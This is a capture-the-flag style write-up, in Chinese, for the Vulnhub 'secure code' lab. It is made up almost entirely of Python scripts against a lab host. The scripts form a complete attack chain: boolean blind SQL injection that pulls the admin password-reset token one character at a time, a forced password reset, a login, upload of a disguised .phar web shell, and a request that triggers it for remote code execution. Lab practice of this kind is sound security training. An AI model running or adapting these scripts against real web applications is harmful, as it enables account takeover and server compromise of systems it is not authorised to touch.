网络安全Vulnhub:secure code靶场(代码审计，编写一键RCE脚本)

import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}url = 'http://192.168.72.170/item/viewItem.php?id=5'qingqiu = requests.get(url,headers=headers,allow_redirects=False)qingqiu.encoding = "utf-8"print("状态码:",qingqiu.status_code)payload ="+or+1=1#"url1 = url+payloadurl1 = requests.get(url1,headers=headers,allow_redirects=False)print("payload=",payload)print("第二次状态码:",url1.status_code)

import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}url = 'http://192.168.72.170/item/viewItem.php?id=1'payload1 = " and Ascii(substring(database(),1,1)) = 103"#payload1 =" and ascii(substr((select token from user limit 0,1),1,1))=88"#payload1 =" and ascii(substr((select token from user limit 0,1),1,1))=X"#payload1 = " and length((select token from user limit 0,1))>1"url1 = url+payload1print(url1)url1 = requests.get(url1,headers=headers,allow_redirects=False)print("payload=",payload1)print("状态码:",url1.status_code)

#!/usr/bin/python3# -*- coding:utf-8 -*-import requestsfor i in range(1, 20):    payload = " and length((select token from user limit 0,1))>%s" % (i)    url = 'http://192.168.72.171/item/viewItem.php?id=1'    url1 = url + payload    zhuangtai = requests.get(url1, allow_redirects=False)    zhuangtai.encoding = "utf-8"    if zhuangtai.status_code == 404:        print("正常")    else:        print("有问题")        print('payload=', payload)        exit(0)

#!/usr/bin/python3# -*- coding:utf-8 -*-import requestsresult = ""for i in range(1, 16):    for j in range(32, 126):        payload1 = " and ascii(substr((select token from user limit 0,1),%s,1))=%s" % (i, j)        url = 'http://192.168.72.171/item/viewItem.php?id=1'        url1 = url + payload1        # print(url1)        zhuangtaima = requests.get(url1, allow_redirects=False)        zhuangtaima.encoding = "utf-8"        if zhuangtaima.status_code == 404:            print("正常")            print('payload=', payload1)            number = int("%s" % (j))            print("字符串:", chr(number))            result = result + chr(number)            print("token:", result)print("结果:", result)

#!/usr/bin/python3# -*- coding:utf-8 -*-import requests# proxies = {"http":"http://127.0.0.1:8080"}session = requests.Session()password = 'adminadmin'def get_forgetpassword():    wangye = requests.get('http://192.168.72.171/login/resetPassword.php')    forget = requests.post('http://192.168.72.171/login/resetPassword.php', data={'username': 'admin'},                           allow_redirects=True)    if "Success" in forget.text:        print("申请重置成功")def get_token():    global result    result = ""    for i in range(1, 16):        for j in range(32, 126):            payload1 = " and ascii(substr((select token from user limit 0,1),%s,1))=%s" % (i, j)            url = 'http://192.168.72.171/item/viewItem.php?id=1'            url1 = url + payload1            # print(url1)            zhuangtaima = requests.get(url1, allow_redirects=False)            zhuangtaima.encoding = "utf-8"            if zhuangtaima.status_code == 404:                print("正常")                print('payload=', payload1)                number = int("%s" % (j))                print("字符串:", chr(number))                result = result + chr(number)                print("token:", result)    print("结果:", result)    return resultdef reset():    url = "http://192.168.72.171/login/doResetPassword.php?token="    token = result    fangwen = requests.get(url=url + token)    chongzhi = requests.Session()    jieguo = session.post('http://192.168.72.171/login/doChangePassword.php',                          data={'token': token, 'password': password}, allow_redirects=True)def main():    get_forgetpassword()    get_token()    reset()if __name__ == '__main__':    main()

def login():   url = "http://192.168.72.171/login/checkLogin.php"   username ='admin'   s = requests.Session()   denglu = s.post(url,data={'username':username,'password':password},allow_redirects=True)   if "Congrats, FLAG1:" in denglu.text:      print("登录成功")

def login():    url = "http://192.168.72.171/login/checkLogin.php"    username = 'admin'    s = requests.Session()    denglu = s.post(url, data={'username': username, 'password': 'zhengzailianxi'}, allow_redirects=True)    if "Congrats, FLAG1:" in denglu.text:        print("登录成功")
    item = s.get('http://192.168.72.171/item/index.php?page=item')    if "Raspery Pi 4" in item.text:        print("跳转成功")    edit = s.get('http://192.168.72.171/item/editItem.php?id=1')    if "Edit Item" in edit.text:        print("跳转到文件上传成功")    file_data = {'image': ('test.phar', open('test.phar', 'rb'), 'image/jpeg')}    data = {'id': 1, 'id_user': 1, 'name': "Raspery Pi 4", "description": "hello world", "price": 12}    update = s.post('http://192.168.72.171/item/updateItem.php', data=data, files=file_data, proxies=proxies)    if "Item data has been edited" in update.text:        print("上传成功")

def getshell():    requests.get('http://192.168.72.171/item/image/test.phar')